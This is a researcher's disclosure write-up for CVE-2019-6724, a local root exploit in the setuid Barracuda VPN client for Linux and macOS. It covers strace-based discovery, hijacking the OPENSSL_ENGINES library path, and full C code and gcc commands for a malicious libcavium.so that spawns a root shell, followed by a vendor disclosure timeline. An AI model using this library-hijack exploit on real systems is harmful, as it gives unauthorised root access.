The barracudavpn component of the Barracuda VPN Client prior to version 5.0.2.7 for Linux, macOS, and OpenBSD runs as a privileged process and can allow an unprivileged local attacker to load a malicious library, resulting in arbitrary code executing as root.

This post will walk through the process on how I found and exploited the vulnerability on Linux. The full PoC will  also work on macOS. When researching for potential vulnerabilities with privileged binaries a test system should be used to avoid causing damage or negative impacts.

The first step is to identify a privileged binary. I normally use the find(1) command. This example displays setuid binaries under the /usr/local directory. I generally use the -xdev option to avoid traversing other files systems such as NFS. It’s better to be intentional when using find instead of blindly using / for the target path. The -ls option is a nice built-in feature to automatically display the long list of file attributes. Finally, stderr is redirected to /dev/null to discard errors caused by insufficient permissions.

[user1@localhost ~]$ find /usr/local -xdev -perm -4000 -ls 2>/dev/null
68555095 4548 -rwsr-xr-x   1 root     root      4653080 Oct 29 02:25 /usr/local/bin/barracudavpn

An alternative to using find is to inspect the files installed by a specific package. Often times files are installed to multiple locations so listing out the files contained by a package is helpful. This example uses the rpm command to list files installed in verbose format for the barracudavpn package.

[user1@localhost ~]$ rpm -q -l -v barracudavpn
drwxr-xr-x 2 root root 0 Oct 29 02:25 /etc/barracudavpn
-rwsr-xr-x 1 root root 4653080 Oct 29 02:25 /usr/local/bin/barracudavpn

There are several things I look for when attacking privileged binaries. If source code is not available my goto utilities for this investigation is tracing system calls using strace(1) and tracing library calls using ltrace(1). On macOS I use Dtrace. Here is a list of a few common vectors. This post will focus on the #2 – loading of libraries.

  1. Execute external commands
  2. Loading of libraries
  3. File paths
  4. Environment variables
  5. Pipe or store output
  6. Configuration files
  7. Debug / undocumented features

When executing strace or ltrace as an unprivileged user, privileges will be dropped. Sometimes this is ok but generally the command will exit with an error. When attempting to execute strace as a low privileged user it results in the following error. The error message is not always as obvious as the barracudavpn binary.

# Options
#   -o output file with a PID suffix
#   -ff follow forks
#   -s increase maximum string size to print

[user1@localhost ~]$ strace -o /tmp/vpn.trace \
                            -ff \
                            -s 1000 \
                            /usr/local/bin/barracudavpn
barracudavpn-noroot-error
Error because privileges were dropped

To get around this error, run either utility as root using the -u option. After adding this option the application opens without error.

[root@localhost ~]# rm -f /tmp/vpn.trace* # cleanup residual traces
[root@localhost ~]# strace -u user1 \
                           -o /tmp/vpn.trace \
                           -ff \
                           -s 1000 \
                           /usr/local/bin/barracudavpn

barracudavpn-noerror
Application after running strace as root with -u user1

I wanted to see if any libraries were loaded by default at runtime so I exited the application to review the trace file. A simple grep looking for the string “.so” works. barracudavpn attempted to load a non-existent library named libcavium.so from /opt/phio/libs64/engines.

[root@localhost ~]# grep \\.so /tmp/vpn.trace.20255
open("/opt/phion/libs/engines/libcavium.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)

A low privileged user cannot normally write to /opt so we’ll have to see if we can influence the leading path. This could potentially be achieved by manipulating environment variables, configuration options, or command parameters.

To check for environment variables I ran ltrace to show getenv calls but received the following error.  It turns out the binary is statically linked so ltrace will not work.

[user1@localhost ~]$ ltrace /usr/local/bin/barracudavpn 2>&1| grep getenv
Couldn't find .dynsym or .dynstr in "/proc/3079/exe"

[user1@localhost ~]$ file /usr/local/bin/barracudavpn
/usr/local/bin/barracudavpn: setuid ELF 64-bit LSB executable,
  x86-64, version 1 (GNU/Linux),
  statically linked,
  for GNU/Linux 2.6.32,
  BuildID[sha1]=34b314b85afe2908266dc8f4229415df09f0e61f, stripped

This is an easy check with ltrace but since that failed I decided to run the strings utility and look for an upper case strings. The binary is 4.5 MB so paging through strings output was not practical. A good place to start was looking around the area of the strings I had found in the previous step. The OPENSSL_ENGINES string jumped out at me  as a potential environment variable. A quick google search shows that this is part of the OpenSSL engine library and most likely the code is from eng_list.c and was compiled with ENGINESDIR=/opt/phion/libs/engines.

[root@localhost ~]# strings /usr/local/bin/barracudavpn|grep -C5 /opt/phion/libs/engines
OpenSSL DH Method
dh_lib.c
Diffie-Hellman part of OpenSSL 1.0.1u 22 Sep 2016
eng_list.c
OPENSSL_ENGINES
/opt/phion/libs/engines
DIR_LOAD
DIR_ADD
eng_init.c
eng_ctrl.c
eng_pkey.c

A simple test is to set the environment variable to a unique value. I used /foobar for this test and re-ran barracudavpn. The open() call confirms the environment variable can be changed to a path we control to load the library. If privileges are not dropped prior to the loading of this library we can achieve arbitrary code execution as root. I could look for set*uid calls but as a simple test I will just set the variable and see what happens. The link step on macOS is slightly different. View the full PoC linked below for an example.

[root@localhost ~]# export OPENSSL_ENGINES=/foobar
[root@localhost ~]# timeout 10s strace -u user1 -ff /usr/local/bin/barracudavpn 2>&1|grep '\.so'
open("/foobar/libcavium.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)

At this point I am confident that a library of my choice could be loaded. I created a simple woot() function to execute a shell.

#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

void woot(){
  setreuid(0,0);
  execl("/bin/sh","/bin/sh",NULL);
}

Build the shared library and write it in the foobar directory. Notice the -init,woot flag. This specifies what function to use as the constructor and the default name is _init. Details on how this works can be found in section 5.2 of the Program-Library-HOWTO miscellaneous page.

[user1@localhost ~]$ mkdir foobar
[user1@localhost ~]$ gcc -fPIC -Wall -o woot.o -c woot.c
[user1@localhost ~]$ gcc -Wall -shared -Wl,-soname,libcavium.so -Wl,-init,woot -o foobar/libcavium.so woot.o
[user1@localhost ~]$ export OPENSSL_ENGINES=foobar

Execute /usr/local/bin/barracudavpn to spawn a root shell.

[user1@localhost ~]$ id
uid=1000(user1) gid=1000(user1) groups=1000(user1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

[user1@localhost ~]$ /usr/local/bin/barracudavpn
sh-4.2# id
uid=0(root) gid=1000(user1) groups=1000(user1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.2#

The full PoC for Linux and macOS can be found on my Github page CVE-2019-6724.sh.

Summary

When a privileged binary loads an external library, care must be taken to ensure the library cannot be loaded from an untrusted location. As a low privileged user, look for writeable paths where libraries are loaded from. Dynamic libraries can be loaded from static paths, paths based on environment variables, configuration options, or command parameters. Also keep in mind that this behavior might not be documented. Strace and ltrace are standard tools that I use identify libraries loaded dynamically by the target program.

I appreciate the partnership with Dave Farrow – Senior Director, Information Security – Barracuda Networks.

References

Timeline

2019-01-02 Report sent to vendor via BugCrowd
2019-01-03 Vendor acknowledges report
2019-01-07 Vendor meeting regarding coordinated disclosure
2019-01-17 Vendor releases fixes
2019-01-23 Mitre assigned CVE-2019-6724
2019-02-14 Public Disclosure